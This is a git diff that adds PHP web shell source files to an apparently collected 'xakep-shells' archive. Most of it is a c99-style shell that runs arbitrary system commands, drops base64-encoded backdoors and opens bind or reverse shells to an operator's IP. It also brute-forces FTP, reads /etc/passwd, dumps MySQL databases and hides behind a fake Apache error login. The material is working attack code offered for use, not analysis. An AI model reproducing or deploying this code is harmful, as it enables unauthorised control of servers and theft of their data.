+echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&$unix){
+echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+echo '
'.$table_up3."
".$f;
+
+
+$u1p=""; // File to Include... or use _GET _POST
+$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
+
+
+
+echo "\n";
+if(empty($snn)){
+if(empty($_GET['snn'])){
+if(empty($_POST['snn'])){
+die("\nSnIpEr_SA");
+} else {
+$u1p=$_POST['snn'];
+}
+} else {
+$u1p=$_GET['snn'];
+}
+}
+
+$temp=tempnam($tymczas, "cx");
+
+if(copy("compress.zlib://".$snn, $temp)){
+$zrodlo = fopen($temp, "r");
+$tekst = fread($zrodlo, filesize($temp));
+fclose($zrodlo);
+echo "".htmlspecialchars($tekst)."";
+unlink($temp);
+
+} else {
+die("
+".htmlspecialchars($u1p)." ÚÝæÇ! ÇáãáÝ ÛíÑ ãæÌæÏ Çæ áíÓ áÏíß ÇáÕáÇÍíå ááÏÎæá. ");
+}
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/SpecialShell_99.php.php.txt b/xakep-shells/PHP/SpecialShell_99.php.php.txt
new file mode 100644
index 0000000..3a3f703
--- /dev/null
+++ b/xakep-shells/PHP/SpecialShell_99.php.php.txt
@@ -0,0 +1,2822 @@
+&1","r"))) {
+return 126;
+}
+while (!feof($p)) {
+$line=fgets($p,1000);
+$out .= $line;
+}
+pclose($p);
+return $out;
+}
+}else{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+}
+
+
+function checkproxyhost(){
+$host = getenv("HTTP_HOST");
+$filename = '/tmp/.setan/xh';
+if (file_exists($filename)) {
+$_POST['proxyhostmsg']="Tamamlandi! $host:6543 Note: If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy. ";
+} else {
+$_POST['proxyhostmsg']="HATA! ";
+ }
+}
+
+if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
+{
+ $ip = gethostbyname($_SERVER["HTTP_HOST"]);
+ $por = $_POST['backconnectport'];
+ if(is_writable(".")){
+ cfb("shbd",$backdoor);
+ ex("chmod 777 shbd");
+ $cmd = "./shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+ }else{
+ cfb("/tmp/shbd",$backdoor);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
+{
+ if(is_writable(".")){
+ cf("back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="".$_POST['backconnectip']." Numarali ip uzerinden ".$_POST['backconnectport']." portundan baglanti kurulamadi! yeniden deneyiniz! .";
+ if (file_exists("back")) { unlink("back"); }
+ }else{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
+{
+ if(is_writable(".")){
+ cf("backc",$back_connect_c);
+ ex("chmod 777 backc");
+
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+
+ if (file_exists("backc")) { unlink("backc"); }
+ }else{
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$back_connect_c);
+
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
+}
+
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function err()
+{
+$_POST['backcconnmsge']="Hata: Baglanti saglanamiyor! ";
+}
+
+function bberr()
+{
+$_POST['backcconnmsge']="Hata: Arkakapi sunucusuna baglanti saglanamiyor! ";
+}
+
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+
+ini_set("memory_limit","300M");
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+define("starttime",getmicrotime());
+if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+$shver = "Capian Pirates.OrG Special 99 Shell v1.0";
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"];
+}
+$surl_autofill_include = TRUE;
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr;
+}
+$surl = htmlspecialchars($surl);
+$timelimit = 0;
+$login = "";
+$pass = "";
+$md5_pass = "";
+$host_allow = array("*");
+$login_txt = "Apache Error: Restricted File";
+$g3n_onaysiz_giris = "access denied";
+$gzipencode = TRUE;
+$filestealth = TRUE;
+$donated_html = "";
+$donated_act = array("");
+$curdir = "./";
+
+$tmpdir = "";
+$tmpdir_log = "./";
+$log_email = "msn@g3n3t1x.org";
+$dsunucu = "http://q.qenetix.by.ru/3.txt";
+$sort_default = "0a";
+$sort_save = TRUE;
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "),
+ array("config.php",1)
+);
+$safemode_diskettes = array("a");
+$hexdump_lines = 8;
+$hexdump_rows = 24;
+$nixpwdperpage = 100;
+
+
+$sess_cookie = "c99shvars";
+
+
+$quicklaunch = array(
+ array("[AnaSəhifə] ",$surl),
+ array("[Axtarış] ",$surl."act=search&d=%d"),
+
+ array("[Encode] ",$surl."act=encoder&d=%d"),
+ array("[İşləmçi] ",$surl."act=processes&d=%d"),
+ array("[FTP Qirici] ",$surl."act=ftpquickbrute&d=%d"),
+ array("[Sistem Məlumatları] ",$surl."act=security&d=%d"),
+ array("[SQL Baglantisi] ",$surl."act=sql&d=%d"),
+ array("[php Kod işlət] ",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
+ array("[Arxa Qapı] ",$surl."act=backc"),
+ array("[Shell'i Sil] ",$surl."act=selfremove"),
+
+ array("[ProxyQur] ",$surl."act=proxy"),
+ array("[Qapi Yarat] ",$surl."act=shbd"),
+);
+
+
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+
+
+
+// \/Burdan sonrasэnэ editlemeyiniz!\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Giris Yapilamiy0r!");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($g3n_onaysiz_giris);
+ }
+}
+if ($act != "img"){
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("mysql_dump")){
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by ".$shver."
+# Home page: http://www.g3n3t1x.org
+#
+# Host Ayarlari:
+# MySQL Versiyon: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Tarih: ".date("d.m.Y H:i:s")."
+# Veritabani: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
